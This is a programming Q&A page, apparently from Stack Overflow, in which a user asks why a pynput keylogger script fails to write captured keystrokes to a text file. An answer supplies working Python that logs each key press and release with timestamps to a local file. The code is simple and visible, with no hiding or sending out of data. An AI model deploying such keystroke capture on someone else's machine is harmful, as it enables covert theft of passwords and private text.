0

Trying to build a key logger with pynput.

Took a look at Here, everything worked fine but not what I wanted, I wanted to save the output to a text file at the same time that the programs running.

I tried sys.stdout but it just dosent save it to the LogTXT.txt file.

Anyways, here's the code:

from pynput.keyboard import Key, Listener

import os

import atexit

import sys

file = os.open(r"C:\Users\USERNAME\Desktop\LogTXT.txt",  os.O_RDWR|os.O_CREAT )

def on_press(key):
    print('{0} pressed'.format(
        key))

def on_release(key):
    print('{0} release'.format(
        key))
    if key == Key.esc:
        # Stop listener
        return False

# Collect events until released
with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()
    sys.stdout = file 

1 Answer 1

1

Try to use another way to do this instead of use the stdout,think it as another way:

from pynput.keyboard import Key, Listener
import time

fp = open(r"LogTXT_{}.txt".format(time.strftime("%Y-%m-%d_%H-%M-%S", time.localtime())),"w") # open the file

def on_press(key):
    print('{0} pressed'.format(key))
    fp.write('{} pressed at time:{}\n\n'.format(key,time.strftime("%Y-%m-%d_%H-%M-%S", time.localtime()))) # write it.

def on_release(key):
    print('{0} release'.format(key))
    fp.write('{} release at time:{}\n\n'.format(key,time.strftime("%Y-%m-%d_%H-%M-%S", time.localtime())))
    if key == Key.esc:
        fp.write("End Press") # press esc.Exit the script
        fp.close()
        return False

with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

Some example of output in the file: enter image description here

Sign up to request clarification or add additional context in comments.

3 Comments

still didn't save it to the text file.
@Daniel Well.look the path,it save in the current path.
I know it does create a text file but doesn't save the output to that file.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.